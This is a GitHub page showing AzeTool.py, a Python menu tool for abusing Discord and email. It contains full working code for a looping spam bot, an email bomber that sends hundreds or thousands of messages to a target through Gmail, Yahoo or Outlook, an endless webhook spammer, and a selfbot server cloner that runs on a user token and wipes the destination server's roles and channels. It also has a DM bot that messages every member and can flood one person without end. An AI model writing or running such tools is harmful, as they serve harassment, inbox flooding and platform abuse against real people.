-
Notifications
You must be signed in to change notification settings - Fork 0
/
AzeTool.py
299 lines (258 loc) · 13.3 KB
/
AzeTool.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
import smtplib
import discord
import sys
import subprocess
import os
import json
import requests
from os import remove, system
import asyncio
from discord.ext import commands
from colorama import init as colorama_init
from colorama import Fore
from colorama import Style
from casa import Clone
from time import sleep
from time import sleep
w = Fore.WHITE
b = Fore.BLACK
g = Fore.LIGHTGREEN_EX
y = Fore.LIGHTYELLOW_EX
m = Fore.LIGHTMAGENTA_EX
c = Fore.LIGHTCYAN_EX
lr = Fore.LIGHTRED_EX
lb = Fore.LIGHTBLUE_EX
colorama_init()
print('\n')
print('\n')
print(f'{Fore.RED} █████╗ ███████╗███████╗ {Fore.LIGHTRED_EX} ███████╗████████╗██╗ ██╗██████╗ ██╗ ██████╗ ███████╗')
print(f'{Fore.RED} ██╔══██╗╚══███╔╝██╔════╝ {Fore.LIGHTRED_EX} ██╔════╝╚══██╔══╝██║ ██║██╔══██╗██║██╔═══██╗██╔════╝')
print(f'{Fore.RED} ███████║ ███╔╝ █████╗ {Fore.LIGHTRED_EX} ███████╗ ██║ ██║ ██║██║ ██║██║██║ ██║███████╗')
print(f'{Fore.RED} ██╔══██║ ███╔╝ ██╔══╝ {Fore.LIGHTRED_EX} ╚════██║ ██║ ██║ ██║██║ ██║██║██║ ██║╚════██║')
print(f'{Fore.RED} ██║ ██║███████╗███████╗ {Fore.LIGHTRED_EX} ███████║ ██║ ╚██████╔╝██████╔╝██║╚██████╔╝███████║')
print(f'{Fore.RED} ╚═╝ ╚═╝╚══════╝╚══════╝ {Fore.LIGHTRED_EX} ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝\n')
print("\n")
print(f'{Fore.RED}Created by {Fore.YELLOW}@lamnotfair#0 & AZE/PVP#6112')
print(f'{Fore.RED}Discord server : {Fore.BLUE}https://discord.gg/AfcfcFvXCW')
print(f'{Fore.RED}GITHUB : {Fore.YELLOW}https://github.com/lamnotfair/AzeGrabber')
print(f'{Fore.RED} ╔═══════════════════╦══════════════════╗ ')
print(f'{Fore.RED} ║1 SpamBOT ║4 Webhook Spammer ║')
print(f'{Fore.RED} ╠═══════════════════╬══════════════════╣')
print(f'{Fore.RED} ║2 VC Joiner ║5 Cloner ║')
print(f'{Fore.RED} ╠═══════════════════╬══════════════════╣')
print(f'{Fore.RED} ║3 Email bomber ║6 DM BOT ║')
print(f'{Fore.RED} ╚═══════════════════╩══════════════════╝ ')
select = int(input(f"{Fore.RED}[{Fore.LIGHTRED_EX}>{Fore.RED}] {Fore.LIGHTRED_EX}"))
if select == 1:
print('\n')
intents = discord.Intents().all()
bot = commands.Bot(command_prefix='!', intents=intents)
token = input("BOTS Token here : ")
message = input("Message here : ")
@bot.event
async def on_ready():
print(f'{Fore.RED} Type !spam in chat for start!')
print("\n")
print(f'{bot.user.name} is ready...')
print("\n")
@bot.command()
async def spam(ctx):
while True:
for i in range(15):
await ctx.send(message)
bot.run(token)
elif select == 2:
intents = discord.Intents().all()
bot = commands.Bot(command_prefix='!', intents=intents)
token = input("BOTS Token here : ")
@bot.event
async def on_ready():
print(f'{bot.user.name} is ready...')
print('\n')
print(f'{Fore.RED} Type !join_voice in chat for start!')
@bot.command()
async def join_voice(self, ctx):
await ctx.message.delete()
connected = ctx.author.voice
if connected:
await connected.channel.connect()
bot.run(token)
elif select == 3:
class bcolors:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
def banner():
print(bcolors.GREEN + '''Email-bomber''')
class Email_Bomber:
count = 0
def __init__(self):
try:
print(bcolors.RED + '\n--Initializing program--')
self.target = str(input(bcolors.GREEN + 'Enter target email > '))
self.mode = int(input(bcolors.GREEN + 'Enter BOMB mode (1,2,3,4) || 1:(1000) 2:(500) 3:(250) 4:(custom) <: '))
if int(self.mode) > int(4) or int(self.mode) < int(1):
print('ERROR: Invalid Option. GoodBye.')
sys.exit(1)
except Exception as e:
print(f'ERROR: {e}')
def bomb(self):
try:
print(bcolors.RED + '\n--Setting up bomb--')
self.amount = None
if self.mode == int(1):
self.amount = int(1000)
elif self.mode == int(2):
self.amount = int(500)
elif self.mode == int(3):
self.amount = int(250)
else:
self.amount = int(input(bcolors.GREEN + 'Choose a CUSTOM amount <: '))
print(bcolors.RED + f'\n--You have selected BOMB mode: {self.mode} and {self.amount} emails--')
except Exception as e:
print(f'ERROR: {e}')
def email(self):
try:
print(bcolors.RED + '\n--Setting up email--')
self.server = str(input(bcolors.GREEN + 'Enter email server | or select premade options - 1:Gmail 2:Yahoo 3:Outlook <: '))
premade = ['1', '2', '3']
default_port = True
if self.server not in premade:
default_port = False
self.port = int(input(bcolors.GREEN + 'Enter port number <: '))
if default_port == True:
self.port = int(587)
if self.server == '1':
self.server = 'smtp.gmail.com'
elif self.server == '2':
self.server = 'smtp.mail.yahoo.com'
elif self.server == '3':
self.server = 'smtp-mail.outlook.com'
self.fromAddr = str(input(bcolors.GREEN + 'Enter from address > '))
self.fromPwd = str(input(bcolors.GREEN + 'Enter from password > '))
self.subject = str(input(bcolors.GREEN + 'Enter subject > '))
self.message = str(input(bcolors.GREEN + 'Enter message > '))
self.msg = '''From: %s\nTo: %s\nSubject %s\n%s\n
''' % (self.fromAddr, self.target, self.subject, self.message)
self.s = smtplib.SMTP(self.server, self.port)
self.s.ehlo()
self.s.starttls()
self.s.ehlo()
self.s.login(self.fromAddr, self.fromPwd)
except Exception as e:
print(f'ERROR: {e}')
def send(self):
try:
self.s.sendmail(self.fromAddr, self.target, self.msg)
self.count +=1
print(bcolors.YELLOW + f'BOMB: {self.count}')
except Exception as e:
print(f'ERROR: {e}')
def attack(self):
print(bcolors.RED + '\n--Attacking...--')
for email in range(self.amount+1):
self.send()
self.s.close()
print(bcolors.RED + '\n--Attack finished--')
sys.exit(0)
if __name__=='__main__':
banner()
bomb = Email_Bomber()
bomb.bomb()
bomb.email()
bomb.attack()
elif select == 4:
session = requests.Session()
webhook = input(f"\n{Fore.LIGHTRED_EX}Webhook URL: ")
message = input(f"{Fore.LIGHTRED_EX}Message: ")
username = input(f"{Fore.LIGHTRED_EX}Webhook Username?: ")
def aze():
session.post(webhook,json = {"content":message,"username":username})
while True:
aze()
aze()
elif select == 5:
with open('config.json') as config_file: data = json.load(config_file)
token = data['token']
head = {'Authorization': str(token)}
src = requests.get('https://discordapp.com/api/v6/users/@me', headers=head)
if src.status_code == 200:
print(f'{Fore.GREEN}[+] Your Token Is Valid {Style.RESET_ALL}')
sleep(2)
else:
print(f'{Fore.RED}[-] Your Token Is Invalid {Style.RESET_ALL}')
sleep(4)
exit = input("Your Token Is Invalid Press enter...")
def mainanswer():
headers = {'Authorization': token, 'Content-Type': 'application/json'}
r = requests.get('https://discord.com/api/v6/users/@me', headers=headers)
if r.status_code == 200:
userName = r.json()['username'] + '#' + r.json()['discriminator']
userID = r.json()['id']
print(f''' Logged As {userName} ({userID})''')
print('\n')
print(f' [1] > {Fore.RED}Clone Server')
print('\n')
print('\n')
answer = input(f'{Fore.RED}Choose : {Fore.LIGHTRED_EX}')
if answer == '1':
client = discord.Client()
cloner()
else:
print('Incorrect selection, please choose a number')
mainanswer()
def cloner():
print('\n')
guild_s = input(f'{Fore.RED}Your Server ID That You Wnat To Copy > {Fore.LIGHTRED_EX}')
guild = input(f'{Fore.RED}Your Server ID To Copy The Server In Thare > {Fore.LIGHTRED_EX}')
input_guild_id = guild_s
output_guild_id = guild
@client.event
async def on_ready():
print('\n')
print(f"Logged In as : {client.user}")
print("Cloning Server")
guild_from = client.get_guild(int(input_guild_id))
guild_to = client.get_guild(int(output_guild_id))
await Clone.roles_delete(guild_to)
await Clone.channels_delete(guild_to)
await Clone.roles_create(guild_to, guild_from)
await Clone.categories_create(guild_to, guild_from)
await Clone.channels_create(guild_to, guild_from)
await Clone.guild_edit(guild_to, guild_from)
await asyncio.sleep(5)
mainanswer()
client.run(token, bot=False)
mainanswer()
elif select == 6:
intents = discord.Intents().all()
bot = commands.Bot(command_prefix='!', intents=intents)
token = input("BOTS Token here : ")
@bot.event
async def on_ready():
print(f'{bot.user.name} is ready...')
print('\n')
print(f'{Fore.RED} Type !dm-all [message] or !dm [member] [message] in chat for start!')
print(f'{Fore.RED} or Type !crash [member]')
print('\n')
@bot.command()
async def dmall(ctx, *, message):
members = ctx.guild.members
for member in members:
try:
await member.send(message)
print(f"Sent a DM to {member.name}#{member.discriminator}")
except:
print(f"Failed to send a DM to {member.name}#{member.discriminator}")
await ctx.send("DMs sent to all members!")
@bot.command()
async def dm(ctx,member:discord.Member,*,content):
channel = await member.create_dm()
await channel.send(content)
@bot.command()
async def crash(ctx,*,member:discord.Member):
while True:
channel = await member.create_dm()
await channel.send("$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$")
await channel.send("$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$")
bot.run(token)